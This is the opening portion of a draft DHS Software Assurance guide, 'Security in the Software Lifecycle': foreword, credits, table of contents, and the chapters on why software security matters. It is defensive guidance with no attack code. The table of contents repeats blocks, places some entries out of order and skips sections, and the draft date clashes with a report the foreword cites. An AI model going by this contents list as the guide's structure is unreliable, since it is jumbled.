FOREWARD

Dependency on information technology makes software assurance a key element of national security and homeland security. Software vulnerabilities jeopardize intellectual property, consumer trust, business operations and services, and a broad spectrum of critical applications and infrastructure, including everything from process control systems to commercial application products. Software enables and controls, business operations, and the nation’s critical infrastructure, and in order to ensure the integrity of key assets within that infrastructure, the software must be reliable and secure. However, informed consumers have growing concerns about the scarcity of practitioners with requisite competencies to build secure software. They have concerns with suppliers’ capabilities to build and deliver secure software with requisite levels of integrity and to exercise a minimum level of responsible practice. Because software development offers opportunities to insert malicious code and to unintentionally design and build exploitable software, security-enhanced processes and practices – and the skilled people to perform them – are required to build trust into software.

The Department of Homeland Security (DHS) Software Assurance Program is grounded in the National Strategy to Secure Cyberspace which indicates “DHS will facilitate a national public-private effort to promulgate best practices and methodologies that promote integrity, security, and reliability in software code development, including processes and procedures that diminish the possibilities of erroneous code, malicious code, or trap doors that could be introduced during development.”

Software Assurance has become critical because dramatic increases in business and mission risks are now known to be attributable to exploitable software: system interdependence and software dependence has software as the weakest link; software size and complexity obscures intent and precludes exhaustive test; outsourcing and use of un-vetted software supply chain increases risk exposure; attack sophistication eases exploitation; reuse of legacy software interfaced with other applications in new environments introduces other unintended consequences increasing number of vulnerable targets; and the number of threats targeting software, all contribute to the increase of risks to software-enabled capabilities and the threat of asymmetric attack. A broad range of stakeholders now need confidence that the software which enables their core business operations can be trusted to perform (even with attempted exploitation).

DHS began the Software Assurance (SwA) Program as a focal point to partner with the private sector, academia, and other government agencies in order to improve software development and acquisition processes. Through public-private partnerships, the Software Assurance Program framework shapes a comprehensive strategy that addresses people, process, technology, and acquisition throughout the software lifecycle. Collaborative efforts seek to shift the paradigm away from patch management and to achieve a broader ability to routinely develop and deploy software products known to be trustworthy. These efforts focus on contributing to the production of higher quality, more secure software that contributes to more resilient operations.

In their Report to the President, Cyber Security: A Crisis of Prioritization (February 2005), in the chapter entitled “Software Is a Major Vulnerability”, the President’s Information Technology Advisory Committee summed up the problem of insecure software concisely and accurately:

Network connectivity provides “door-to-door” transportation for attackers, but vulnerabilities in the software residing in computers substantially compound the cyber security problem. As the PITAC noted in a 1999 report, the software development methods that have been the norm fail to provide the high-quality, reliable, and secure software that the Information Technology infrastructure requires.

Software development is not yet a science or a rigorous discipline, and the development process by and large is not controlled to minimize the vulnerabilities that attackers exploit. Today, as with cancer, vulnerable software can be invaded and modified to cause damage to previously healthy software, and infected software can replicate itself and be carried across networks to cause damage in other systems. Like cancer, these damaging processes may be invisible to the lay person even though experts recognize that their threat is growing. And as in cancer, both preventive actions and research are critical, the
former to minimize damage today and the latter to establish a foundation of knowledge and capabilities that will assist the cyber security professionals of tomorrow reduce risk and minimize damage for the long term.

Vulnerabilities in software that are introduced by mistake or poor practices are a serious problem today. In the future, the Nation may face an even more challenging problem as adversaries - both foreign and domestic—become increasingly sophisticated in their ability to insert malicious code into critical software.

The DHS Software Assurance (SwA) program goals promote the security of software across the development life cycle and are scoped to address: trustworthiness, predictable execution and conformance with requirements and applicable standards. Initiatives such as the DHS “Build Security In” web site at https://buildsecurityin.us-cert.gov and the SwA Common Body of Knowledge (CBK) will continue to evolve and provide practical guidance and reference material to software developers, architects, and educators on how to improve the quality, reliability, and security of software – and the justification to use it with confidence. This developers’ guide is also being published, entitled Security in the Software Lifecycle: Making Application Development Processes – and Software Produced by Them – More Secure.

The main goal of Security in the Software Lifecycle is to arm developers, project managers, and testers with the information they need to start improving the security of the practices and processes they use to produce software. The document describes a number of practices and tools that have been used in the “real world” to create software that contains fewer defects that can be targeted as vulnerabilities. In addition, while it is not always their explicit objective, many of the practices and technologies described in Security in the Software Lifecycle should coincidentally help in the production of software of higher quality and reliability.

Unlike other works published on secure software engineering, secure programming, secure coding, application security, and similar topics, Security in the Software Lifecycle does not set out to recommend a specific approach to the software security problem. Where it does resemble such works is in the more detailed technical information in Section 5; however the scope of the information provided in Section 5 is probably broader than that to be found in other published works with similar content. Also unlike other such works, Security in the Software Lifecycle discusses a number of lifecycle process models, development methodologies, “best” (or “sound”) practices supporting tools that have been shown in “real world” software development projects, across government, industry, and academia in the U.S. and abroad, to reduce the number of exploitable software defects that can be targeted as vulnerabilities to compromise the software itself, the data it processes, or the computing and networking resources on which it depends.

Security in the Software Lifecycle is a part of the Software Assurance Series, and expected to contribute to the growing Software Assurance community of practice. The document is intended solely as a source of information and guidance, and is not a proposed standard, directive, or policy from DHS.
CREDITS AND ACKNOWLEDGEMENTS

Security in the Software Lifecycle Version 0.8 (draft), 9 January 2005

Editor and Lead Author: Karen Goertzel, Booz Allen Hamilton
Assistant Editors/Authors: Holly Lynne McKinley and Theodore Winograd, Booz Allen Hamilton

We would like to thank the following people for their excellent contributions to the content of this document: Patrick Holley (Booz Allen Hamilton), Michael Howard and Steven Lipner (Microsoft Corporation), Mark S. Kadrich (Symantec), William Bradley Martin (National Security Agency), and Dr. Bill Scherlis (Carnegie Mellon University School of Computer Science). Your efforts are greatly appreciated.

Thanks also to the following people who took time to review and comment on the previous drafts of this document—feedback that was essential to the revision of the document: Bob Ellison and Nancy R. Mead (Carnegie Mellon University Software Engineering Institute), Jeremy Epstein (WebMethods), Cindy Gagliano, Edward Tracy, and Stan Wiseman (Booz Allen Hamilton), Robert Martin (MITRE Corporation), Don O’Neill (Center for National Software Studies), Samuel T. Redwine, Jr. (James Madison University), Frank Stomp (Wayne State University), Richard Struse (Voxem).

Thank you all for your invaluable help!
TABLE OF CONTENTS

1. INTRODUCTION ...........................................................................................................................................1
  1.1. Purpose of Document ...............................................................................................................................1
  1.2. Intended Audience ......................................................................................................................................2
  1.3. Scope and Structure of Document ...........................................................................................................3
    1.3.1. High-Risk Software with Unique or Extraordinary Requirements .........................................................4
    1.3.2. Document Structure .............................................................................................................................5

2. WHY DOES SOFTWARE SECURITY MATTER? ..........................................................................................6
  2.1 What is Secure Software? ...........................................................................................................................6
  2.2. Why Does Software Security Matter? .......................................................................................................7
  2.3. Why Do Users Keep Accepting Defective Software? ..................................................................................8
  2.4. Making Software Less Vulnerable to Attack .............................................................................................9
    2.4.1. The Nature of the Enemy: Why Attackers Target Software ..................................................................10
  2.5. Why Is so Much Software Insecure? ........................................................................................................11
    2.5.1. Categories of Exploitable Software Defects ........................................................................................12

3. SOFTWARE AND SECURITY ......................................................................................................................14
  3.1. Providing Context: Information Assurance and Cybersecurity .................................................................15
  3.2. Key Influences on Software's Behavior ....................................................................................................17
  3.3. Other Desirable Properties of Software and Their Impact on Security ........................................................18
    3.3.1. Predictability and Software Security ..................................................................................................18
    3.3.2. Simplicity, Traceability, and Software Security ..................................................................................18
    3.3.3. Correctness and Software Security ...................................................................................................18
      3.3.3.1. Small Faults, Big Consequences ..................................................................................................20
    3.3.4. Software Safety and Software Security ...............................................................................................21
    3.3.5. Secure in Development vs. Secure in Deployment: Application Security Techniques and Software Security ..................................................................................................................21
  3.4. Security of Software Built from Acquired or Reused Components ...........................................................22
    3.4.1. Development Challenges When Using Acquired or Reused Components ...........................................24
      3.4.1.1. Security Issues Associated with Technological Precommitments ..................................................24

4. SECURITY IN THE DEVELOPMENT PROCESS .........................................................................................26
  4.1. Identifying, Analyzing, and Managing Security Risk Throughout the Software Lifecycle .......................27
    4.1.1. Software Risk Analysis and Threat Modeling Methodologies ...........................................................28
      4.1.1.1. Microsoft Threat Modeling Process ............................................................................................29
      4.1.1.2. CORAS and SECURIS .............................................................................................................31
      4.1.1.3. PTA Calculative Threat Modeling Methodology ..........................................................................32
      4.1.1.4. Trike .........................................................................................................................................33
      4.1.1.5. Other Tools for Software Risk Assessment and Threat Modeling ..................................................33
        4.1.1.5.1. NASA Software Security Assessment Instrument (SSAI) .......................................................34
        4.1.1.5.2. System Risk Assessment Methodologies and Tools Useful for Software Risk Analysis .............34
    4.1.1.6. System Risk Assessment Methodologies and Tools Useful for Software Risk Analysis .................34
  4.2. Requirements-Driven Engineering and Software Security ............................................................................35
    4.2.1. Risk-Driven Software Engineering .....................................................................................................36
    4.2.2. Planning for Late-Lifecycle Security Validations: System C&A and CC Evaluation ............................38
      4.2.2.1. C&A in the Development Lifecycle ............................................................................................38
      4.2.2.2. Late Lifecycle Validations and Software Security Testing ...........................................................38
  4.3. Increasing Security through Use of Lifecycle Process Models and Development Methodologies .............39
    4.3.1. Choosing a Lifecycle Process and Development Methodology for Integration/Assembly Projects ..............40
Security in the Software Lifecycle

5.2. Architecture and Design of Secure Software

5.2.1. Secure Architecture vs. Security Architecture

5.2.2. Software Security Modeling

5.2.3. Security in the Software’s Detailed Design

5.3. Implementation of Secure Software

5.3.1. Coding from Scratch

5.3.2. Security-Enhanced Lifecycle Process Models

5.3.2.1. Microsoft Trustworthy Computing Security Development Lifecycle (SDL)

5.3.2.1.1. Requirements Phase

5.3.2.1.2. Design Phase

5.3.2.1.3. Implementation Phase

5.3.2.1.4. Verification Phase

5.3.2.1.5. Release Phase

5.3.2.1.6. Support and Servicing Phase

5.3.2.1.7. Results of Implementing the SDL at Microsoft

5.3.2.2. Comprehensive, Lightweight Application Security Process (CLASP)

5.3.2.3. Other Secure Lifecycle Process Definition Efforts

4.3.3.5. Applying Formal Methods to the Development of Secure Software

4.3.3.5.1. Formal Methods and Software Engineering

4.3.3.5.2. Limitations of Formal Methods

4.3.3.5.3. Formal Methods and Secure Software Engineering

4.3.3.5.4. Successful Uses of Formal Methods to Solve Software Security Problems

4.3.3.5.5. Formal Development Methods, Languages, and Tools

5. IN THE MEAN TIME: BEST PRACTICES TO ADOPT SOONER RATHER THAN LATER

5.1. Software Security Requirements Engineering

5.1.1. Requirements for Security Properties and Attributes vs. Security Functions

5.1.2. Analysis of Software Security Requirements

5.2. Architecture and Design of Secure Software

5.2.1. Secure Architecture vs. Security Architecture

5.2.2. Software Security Modeling

5.2.3. Security in the Software’s Detailed Design

5.3. Implementation of Secure Software

5.3.1. Coding from Scratch

5.3.1.1. Minimizing Size and Complexity and Increasing Traceability

5.3.1.2. Coding for Reuse and Maintainability

5.3.1.3. Using a Consistent Coding Style

5.3.1.4. Choose and Use Languages with Security in Mind

5.3.1.5. Avoiding Common Logic Errors

5.3.2. Security-Enhanced Lifecycle Process Models

5.3.2.1. Microsoft Trustworthy Computing Security Development Lifecycle (SDL)

5.3.2.1.1. Requirements Phase

5.3.2.1.2. Design Phase

5.3.2.1.3. Implementation Phase

5.3.2.1.4. Verification Phase

5.3.2.1.5. Release Phase

5.3.2.1.6. Support and Servicing Phase

5.3.2.1.7. Results of Implementing the SDL at Microsoft

5.3.2.2. Comprehensive, Lightweight Application Security Process (CLASP)

5.3.2.3. Other Secure Lifecycle Process Definition Efforts

4.3.3.5. Applying Formal Methods to the Development of Secure Software

4.3.3.5.1. Formal Methods and Software Engineering

4.3.3.5.2. Limitations of Formal Methods

4.3.3.5.3. Formal Methods and Secure Software Engineering

4.3.3.5.4. Successful Uses of Formal Methods to Solve Software Security Problems

4.3.3.5.5. Formal Development Methods, Languages, and Tools
Security in the Software Lifecycle..........................................................157
C.2.1. Format String Attacks........................................................................157
C.2.2. Exploiting Unprotected Administrator Interfaces...........................................157
C.3. Attacks on Confidentiality............................................................................158
C.3.1. Viewing Hidden Data and User-Viewable Source Code..............................158
C.3.2. Session Hijacking....................................................................................158
C.3.3. Registry Disclosure Attacks.......................................................................159
C.4. Attacks on Integrity.....................................................................................159
C.4.1. Parameter Tampering..............................................................................159
C.4.2. Coercive Parsing...................................................................................159
C.4.3. Schema Poisoning...............................................................................159
C.4.4. Spoofing of UDDI and ebXML Messages...............................................160
C.4.5. Checksum Spoofing.............................................................................160
C.4.6. Principal Spoofing..............................................................................160
C.4.7. Routing Detours..................................................................................160
C.4.8. External Entity Attack.........................................................................161
C.4.9. Canonicalization................................................................................161
C.4.10. Intelligent Tampering and Impersonation............................................161
C.5. Denial of Service (DoS) Attacks...............................................................161
C.5.1. Flooding Attacks................................................................................162
C.5.2. Recursive Payloads Sent to XML Parsers.............................................162
C.5.3. Oversized Payloads Sent to XML Parsers..............................................163
C.5.4. Schema Poisoning...............................................................................163
C.5.5. Buffer Overflow Exploits.....................................................................163
C.5.6. Race Conditions..................................................................................164
C.5.7. Symlink Attacks................................................................................164
C.5.8. Memory Leak Exploitation................................................................165
C.6. Command Injection.................................................................................165
C.6.1. Structured Query Language (SQL) Injection.........................................165
C.6.2. XML Injection...................................................................................166
C.7. Client-Side Manipulation........................................................................167
C.8. Malicious Code Attacks.........................................................................167
C.8.1. URL String Attack.............................................................................168
C.8.2. Parameter Tampering.........................................................................169
C.8.3. Cross-Site Scripting..........................................................................169
C.8.4. Session Hijacking..............................................................................171
C.8.5. Malformed Content..........................................................................171
C.8.6. Bypassing Intermediate Forms in Multiple-Form Sets..........................171
C.8.7. Logic Bombs, Trapdoors, and Backdoors............................................171
C.9 Spyware...............................................................................................172
APPENDIX D. OTHER EFFORTS TO DEFINE SECURITY-ENHANCED LIFECYCLE PROCESSES................174
D.1. National Cyber Security Taskforce Processes to Produce Secure Software.....174
D.3. Proposed Safety and Security Extensions to CMMI/ICMM.........................174
APPENDIX E: SECURITY CHECKLISTS..........................................................177
1. INTRODUCTION

Software is ubiquitous. Many functions within the public and private sectors are highly dependent on software. This reliance on software means that its value lies not only in its ability to sustain or enhance productivity and efficiency, but in its ability to perform reliably even during times of crisis and despite attempts to subvert or compromise its operation.

Software security matters because the accomplishment of so many critical functions has come to be completely dependent on software, making it a very high-value target for attackers, whether their motive is simply a mischievous or malicious desire to cause inconvenience, or a more nefarious motive, be it criminal, adversarial, or terrorist. What makes it so easy for attackers to target software successfully is the virtually guaranteed presence of vulnerabilities, i.e., defects that can be exploited by a human or software attacker in order to violate one or more of the software’s security properties, or to force the software into an insecure state. Most successful attacks on software result from successful targeting and exploitation of known but unpatched vulnerabilities or unintentional misconfigurations.

Only high-consequence software is subjected to so much careful engineering and operational management that the likelihood of unpatched vulnerabilities or misconfigurations is ruled out. This is because high-consequence software is software the failure of which could cause serious harm to a human being. That harm may take the form of loss of life, physical injury or damage to health, loss of political freedom, loss of financial well-being, or disastrous damage to the human’s environment. Other large-scale software systems that support a very large number of users are sometimes also considered high-consequence. This is because it is so difficult not only to recover such a system to normal operation after it fails, but because it is either very difficult or very costly to make reparations to the system’s users for the damages that resulted from that failure. Examples of high-consequence software includes software components of national security systems, medical control systems, Supervisory Control And Data Acquisition (SCADA) systems, and electronic voting systems.

Successful attacks on software systems result from human ingenuity: a subtle design flaw may be exploited, or a previously undiscovered implementation defect may be located through the attacker’s engineering efforts. The objective of software security for software systems is to design, implement, and configure those systems in ways that enable them to:

1. Resist and/or withstand the majority of anticipated attacks;
2. Recover rapidly with a minimum amount of damage from the most ingenious, competent anticipated attacks.

A number of factors can influence how likely software is to be secure. These factors include the choice of programming languages and development tools used to implement the software, and the configuration and behavior of components of its development and execution environments.

But the key difference between secure software and insecure software is the nature of the development process used to specify, design, code, integrate, install, and maintain that software. The development organization that adopts a “security-enhanced” software development lifecycle process will be adopting a set of practices that will initially reduce the number of exploitable defects, or vulnerabilities, in their implemented software, and over time will decrease the likelihood that such vulnerabilities will be introduced into their software in the first place.

1.1. Purpose of Document

This document seeks to assist development organizations in the “security enhancement” of their software lifecycle processes. To this end, it reports on a range of methodologies, lifecycle process models, “best practices”, and
supporting technologies that when adhered to, have been found to increase the likelihood that the resulting software will be free of exploitable defects (i.e., “vulnerabilities”).

The practices and processes reported on in this document have the following objectives:

1. To increase the awareness and understanding of software developers, project managers, and testers of the security issues involved in the production of software, and about how software development practices can either contribute to or detract from the security of software;

2. To help those developers, managers, and testers adjust, augment, eliminate, and if necessary replace their security-deficient practices until the whole software lifecycle process they use does contribute to the production of software that is consistently (more) secure.

Coincidentally, while it is not always their explicit objective, many of the practices and technologies described herein will also help in the production of software of higher quality and reliability.

1.2. Intended Audience

This document is primarily intended for software developers (both programmers and integrators), testers, and project managers who wish to increase their understanding of security issues related to the software they are responsible for producing, and to improve their own team’s or organization’s practices in order to produce more secure software.

This document is also intended for Information Assurance (IA) and Cybersecurity architects and planners, risk managers, and systems engineers, to familiarize them with security threats and vulnerabilities unique to the software-based elements of the information systems and networks they are responsible for, so as to help them to specify security architectures and identify, plan, and implement their security countermeasures that will be more effective in reducing the information security risks associated with those software elements.

This document presumes that the reader is already familiar with good systems engineering, software development, and software testing practices and technologies. This document may also be of interest to information assurance and cybersecurity professionals who wish to learn more about security as it relates to the software processes and software-intensive systems that manipulate the information that it is those practitioners’ express goal to protect.

NOTE: To fully benefit from the content of this document, the reader should become familiar with some basic IA and Cybersecurity concepts, such as “privilege”, “integrity”, “availability”, etc. Novices to IA and Cybersecurity are strongly urged to consult one or more of the brief “primers” on these topics listed in Section 3.1.

Most of the information provided in this document will be of interest to all of its readers. This said, there are a few exceptions. Developers involved only in from-scratch programming may not be interested in those sections devoted to issues of secure development of systems assembled or integrated from reused or acquired binary components. The information on Lifecycle Process Models in Section 4 will be of more interest to managers than developers, while the more detailed information in Section 5, and some of that in Section 6, will be of more interest to developers than to managers. IA practitioners may find the specific software development and testing techniques throughout this document are too detailed to be of interest.

Table 1-1 is an attempt to indicate those sections of the document that will likely not be of interest to all readers. Any section not listed here should be considered to be of general interest to all readers. The following legend amplifies the abbreviations used in the table, with the hierarchical relationships between categories of readers indicated. For example, the category “developers” includes the subcategories “integrators”, “programmers”, and “testers”.
## Table 1-1. Sections Likely to Be of Interest to Specific Categories of Readers

<table>
<thead>
<tr>
<th>Section Number</th>
<th>Section Title</th>
<th>Interested Readers</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>Providing Context: Information Assurance and Cybersecurity</td>
<td>DV PM</td>
</tr>
<tr>
<td>3.4 (including subsections)</td>
<td>Security of Software Built from Acquired or Reused Components</td>
<td>INDV INPM</td>
</tr>
<tr>
<td>4.4.1</td>
<td>Choosing a Lifecycle Process and Development Methodology for Integration/Assembly Projects</td>
<td>INDV INPM IA</td>
</tr>
<tr>
<td>5 (incl. subsections)</td>
<td>How to Get There from Here: A Lifecycle Enhancement Action Plan</td>
<td>DV IA</td>
</tr>
<tr>
<td>5.3.1</td>
<td>Coding from Scratch</td>
<td>PR WBT</td>
</tr>
<tr>
<td>5.3.2</td>
<td>Security of Software Systems Built from Reused and Acquired Software Components</td>
<td>INDV BBT</td>
</tr>
<tr>
<td>5.4.3 (incl. subsections)</td>
<td>“White Box” Security Test Techniques</td>
<td>WBT</td>
</tr>
<tr>
<td>5.4.4 (incl. subsections)</td>
<td>“Black Box” Security Test Techniques</td>
<td>BBT</td>
</tr>
<tr>
<td>5.5.1</td>
<td>Removing Debugger Hooks and Other Developer Backdoors -through- 5.1.5.5. Remove Pathnames to Unreferenced, Hidden, and Unused Files from User-Viewable Source Code</td>
<td>PR WBT</td>
</tr>
<tr>
<td>5.7</td>
<td>Activities that Span the Lifecycle</td>
<td>PM IA</td>
</tr>
<tr>
<td>6.2.1</td>
<td>Using Standard Compilers and Debuggers Securely -through- 6.2.4. Code Obfuscators</td>
<td>PR WBT</td>
</tr>
<tr>
<td>Appendix D</td>
<td>Other Efforts to Define Security-Enhanced Lifecycle Processes</td>
<td>PM IA</td>
</tr>
<tr>
<td>Appendix E</td>
<td>Security Checklists</td>
<td>TR IA</td>
</tr>
</tbody>
</table>

**Legend:**

- DV = developers
- INDV = integrators/assemblers of acquired or reused components
- PR = from-scratch programmers
- TR = testers
- WBT = “white box” testers
- BBT = “black box” testers
- PM = project managers
- INPM = integration/assembly project managers
- IA = IA and cybersecurity practitioners, including risk managers

### 1.3. Scope and Structure of Document

This document addresses the following topics:

- **Motivations for Secure Software:** These are the “drivers” for the need for secure software. These motivations in turn drive the objectives for “security enhancing” the development process. In this document, these motivations are presented in terms of the need to:

  1. Create and maintain software that can resist attacks;
  2. Verify software’s “attack-resistance”, and in the case of whole systems, “attack-resilience” (see Section 2.1 for definitions of these concepts).

- **Software Security Principles and Best Practices:** This is the core set of principles with which software and the processes by which it is developed should conform to increase the likelihood of that software
being attack-resistant and attack-resilient. The document provides practical suggestions to help developers achieve these principles throughout the software lifecycle, both for software built “from scratch” and for software integrated or assembled from acquired or reused components.

- **Security-Enhanced Process Models and Development Methodologies**: This is a survey of efforts to security-enhance leading lifecycle process models and software development methodologies. The document also provides suggestions for how to adapt or extend non-security-enhanced models/methodologies to increase the likelihood that they will produce secure software.

The guidance in this document, particularly that in Section 5, is intended to be “insertable” into a development project at any phase of the lifecycle to help “raise the floor” in terms of implementing a minimum set of initial easy-to-achieve security-enhancements of the development process throughout the remainder of the software’s lifetime. Many of the practices described in this document can help raise that floor even in organizations that have not yet established good general software engineering practices (motivated by quality concerns).

For organizations that are already committed to improving the quality and security of their development processes and practices, this document may provide further ideas to help move those organizations even closer to a fully disciplined, repeatable, secure software lifecycle process based on a consistently-applied, coherent set of development practices and supporting methodologies that will not only improve the security of the implemented software but also its quality and reliability.

1.3.1. High-Risk Software with Unique or Extraordinary Requirements

The techniques and technologies described in this document are applied, the likelihood that any software produced using those techniques/technologies will be more secure increases. However, unique and extraordinary security challenges exist that confront certain categories of software. “Unique” in this context indicates “not seen in general purpose application software”. “Extraordinary” indicates “above and beyond what is expected in general purpose application software”. These unique and extraordinary security challenges arise either from:

- **Environmental threats**: High likelihood, frequency, persistence, or success rate of threats to the software in its development environment or operational environment;

- **Exposure of vulnerabilities**: Extensive exposure of vulnerabilities (i.e., “attack surfaces”) in the software (or its execution environment).

There are a number of security challenges that are shared by all software, regardless of category. The techniques and tools described in this document will be helpful in addressing those universal security challenges even in software in higher-risk categories. However, techniques/tools that specifically address any unique or extraordinary security challenges in high-risk software are not discussed here, nor is it certain how effective the techniques/tools that are described would be effective in mitigating those unique and extraordinary challenges. The following is the list of high risk software categories whose unique and extraordinary security issues are not discussed:

- Non-application-level software, e.g., operating systems, device drivers, networking protocols, system-level function libraries, etc.

- Embedded systems software and firmware;

- SCADA and other high-consequence software;

- Software implementations of communications and security protocols, algorithms, etc.
• Special-purpose security software, such as firewalls, intrusion detection systems, policy management systems, cryptosystems, etc.;

• Software based on emerging or “advanced” technologies, such as semantic web, mobile agents, neural networking/artificial intelligence, computer immune systems, ubiquitous computing, etc.

• Cross-domain solutions and other multilevel secure applications that rely on a trusted operating system’s mandatory access controls, labels, and reference monitor;

• Software that runs in any of the following execution environments:
  
  o Constrained execution environments, such as cell phones, handhelds, ultrathin clients, wearable computers, embedded processors, etc.;
  
  o Low-power, wireless, satellite, or radio networks;
  
  o Fault-tolerant hosts, massively parallel computers, supercomputers, computing grids, autonomic computing environments, ubiquitous computing environments, etc.;
  
  o Mainframes and other operating environments not based on/derived from the following operating systems: Unix, Linux, Windows, Macintosh operating systems (Classic and OS X).

All exclusions listed in this section are noted only to warn the reader not to expect this document to expressly address the challenges of producing secure software in the listed high-risk categories and environments. Nor should the reader expect to find any discussion of the effectiveness of the lifecycle processes, techniques, and tools that are discussed, when those processes, techniques, or tools are used in achieving secure software in the categories and environments above when compared with their effectiveness in achieving secure general purpose application software.

1.3.2. Document Structure

This document is divided into six sections. The first three sections are intended to provide context and discuss the main aspects of the software security problem. Section 4 describes some structured approaches to enhancing the security of the process used to develop software, while Section 5 provides more detailed, pragmatic techniques for improving the security of artifacts produced by specific development practices throughout the lifecycle. Section 6 then wraps up by discussing other considerations that affect the security of software.

The document also includes five appendices, including two “standard” appendices (Abbreviations and Acronyms, and References and Bibliography), and three appendices devoted to providing detailed information on specific topics referenced in the main body of the document.

Full authorship and titles for all resources referenced in the main body and appendices of the document are provided in Appendix B, along with URLs for those resources available on the Internet or another publicly accessible network.
2. WHY DOES SOFTWARE SECURITY MATTER?

NOTE: The discussions about IA and cybersecurity cited in Section 3.1 are intended to provide the background information that will enable the reader of this document to better understand the implications, manifestations, and mechanisms associated with each of the anti-vulnerability objectives discussed in this document.

2.1 What is Secure Software?

Secure software is software that cannot be intentionally forced to perform unintended functions. The “motivation” for producing secure software is the desire for software that can continue to operate correctly even when subjected to attack. This means that software at the level of granularity of an individual component, program, or application will be attack-resistant. Attack-resistance means the software will:

1. Recognize attack patterns in the input it receives and its interactions with other components or users;

2. Avoid or withstand the attack, in the former case by blocking attack-patterned inputs, or terminating its interactions with the suspected attack instigator, and in the latter case by continuing to operate in the face of the intentionally-induced faults that manifest as a result of the attack, albeit possibly in a degraded mode. Depending on the exception handling capabilities of the software, “attack tolerance” may be possible only up to a certain threshold of degraded operation, beyond which the software will have to release all resources and terminate operation (i.e., perform an “orderly” shutdown).

When it comes to whole software systems, to be secure, those systems not only have to be attack-resistant, they will also have to be “attack-resilient”. This means they must be able to recover from the attack, resuming operation at or above a minimum level of service, as soon as the source of the attack has been isolated and blocked, and the damage has been contained.

NOTE: This document suggests the term “attack-resilience”, which is consistent with the Wikipedia definition of “resilience” used in the context of business processes (and, presumably by extension, the information systems that support and implement those processes), to wit: “Resilience is the ability of an organization, resource, or structure to sustain the impact of a business interruption and recover and resume its operations to continue to provide minimum services.” Given this definition, the concept of resilience definitely extends to “software intensive” systems (i.e., systems comprised predominantly of software). “Attack-resilience”, then, is ability of an intentionally-compromised software system to sustain the impact of the attack that compromised it, and to recover and resume operation at (or above) a minimum level of service.

Software that is not secure contains defects at the design level, the implementation level, or the configuration level that can be exploited by an attacker (whether human or malicious process). Attackers exploit such defects in order to intentionally subvert or otherwise compromise the software’s operation with the objective of:

1. Reading something they shouldn’t;

2. Writing (changing or creating) something they shouldn’t;

3. Deleting something they shouldn’t;

4. Executing or terminate a process they shouldn’t;

5. Accessing a resource they shouldn’t.

The remainder of this section discusses why software security is important, why it seems so difficult to achieve, and how, in reality, it can be achieved more easily than it would initially appear.
2.2. Why Does Software Security Matter?

Software is relied on more and more to handle the sensitive and high-value data on which our livelihoods, privacy, and very lives rely. Our national security (and by extension our personal security) relies on increasingly complex, internetworked, software-based defense, intelligence, and law enforcement information systems that use the Internet or Internet-exposed private networks as their common data bus. The era of cyberwarfare is well underway, with our adversaries using “information warfare” techniques to target the very information systems that are used to help defend us against them.

The systems that run the critical infrastructure—electrical power grids, water treatment and distribution systems, air traffic control and transportation signaling systems, nuclear, biological, and chemical laboratories and manufacturing plants, etc.—are not only computerized, but those computers are increasingly being interconnected via the Internet. Security systems for banks and prisons are similarly computerized and networked.

In business, organizations’ most sensitive information is frequently stored and processed by software-based systems that are directly connected to the Internet. These systems are increasingly being exposed as web services that enable that sensitive information to be accessed and manipulated by other web services—i.e., other software systems—without human intervention. This increased exposure has made this sensitive corporate information and the software systems that handle it visible to people in “the outside world” that were never aware of their existence before. Not all of those people are well-intentioned. Some have intentions that are malicious, even nefarious.

On a more personal level, more and more of our financial transactions are exposed to the Internet, and implemented using web or web service technologies. We shop online, bank online, pay taxes online, buy insurance online, invest online, register our children for school online, register for our own memberships online.

Individuals are also directly affected by insecure software. Consumers rely on the Internet to conduct personal transactions online such as shopping, banking, investing, paying taxes and even registering children for school. All of these are implemented using software intensive systems, often based on web or web service technologies that are used to expose those systems to the Internet.

Software systems, then, have become the “keys to the castle”. Software applications, databases, web servers, operating systems that collectively makes up the system that stores and processes sensitive information is depended upon to allow intended users to see and use that information while keeping everyone else out. Even information that is isolated from the Internet behind bastions of filtering routers, firewalls, encryption systems, and intrusion detection systems ultimately relies on software to protect it from ill-intentioned outsiders. For example, filtering routers, firewalls, encryption systems, and intrusion detection systems are all implemented, in full or in part, in software.

And yet software, with its vast number of potential behavioral states, has proven particularly difficult to even make consistently correct, let alone consistently secure. However, a large percentage of security defects in software could be avoided if developers consciously thought about avoiding them. Unfortunately, the majority of software developers are never taught about the security implications of how they specify requirements (or fail to specify them), architect and design, implement, test, and prepare software for deployment. In short, they don't understand the security vulnerabilities that can manifest from defects that are introduced into software at any of these phases of its lifecycle. Nor do they understand how those security vulnerabilities can be targeted by knowledgeable attackers in order to compromise the security of the critical, sensitive information that is handled by that defective software.

Interestingly, these same developers, and indeed software’s end users, fully understand the concept of engineering defects. Whenever there is a news report of casualties in an automobile accident caused by a car’s brakes failing, or of a plane crash caused by the engine shutting down in mid-flight, or a hospital death caused by an x-ray
machine delivering 100 times the calibrated dose of radiation, the readers of those news reports understand the
implications: faulty engineering or poor maintenance was very likely at fault, or at least played a major role in the
catastrophe. There may have been other mitigating factors—an electrical short in the antilock braking system
caused by driving through a deep puddle, lightning striking the plane’s jet engine, human error in calibrating the
medical equipment. But in the end, the readers expect the cars, airplanes, medical devices, or other high-
consequence systems they trust their lives to have been engineered with even the rarest of contingencies in mind.

These high-consequence automated systems on which human lives depend are controlled, in large part, by
software. Because the implications of failure are understood, that software must be engineered with extreme
cautions, with fail safe and fault tolerance mechanisms, with redundancy and backup capabilities, so that in all but
a miniscule number of cases they operate safely, even in the face of unexpected events.

When it comes to information system software (including networking software), however, the implications of
failure, including failures caused through intentional malicious or nefarious attacks, are either not understood or
marginalized due to other priorities. In the absence of evidence to the contrary, software users who cannot avoid
or reject software-intensive systems, must simply resign themselves to a state of the art in which software always
operates unexpectedly or incorrectly, to fail frequently, and to be compromised often by viruses and other
malicious code. Software developers and their managers take their cue from the software’s users. The fact that
users don’t demand better, more secure software is due to years of past experience through which they’ve come to
believe that no improvement is possible. This resignation is then misinterpreted by the software suppliers as
evidence that the users are perfectly happy with the bad software they have no alternative but to accept and even
expect. So a vicious cycle perpetuates itself.

And yet the circumstances in which this vicious cycle has been allowed to spin out of control are changing
rapidly. Every day more and more sensitive, critical, and personal information is exposed to the Internet by
software that cannot be trusted to handle that information safely—software that is based on insecure technologies,
and riddled with defects, both of which make the software vulnerable to attack.

The day is fast approaching when customers will start to make the connection between identity theft and computer
fraud and the software-intensive systems that handled the compromised information. But with the growing the
threat of cyberterrorism aimed at bringing down the critical software on which human lives and livelihoods
depend, can software practitioners really afford to wait until that day arrives?

2.3. Why Do Users Keep Accepting Defective Software?

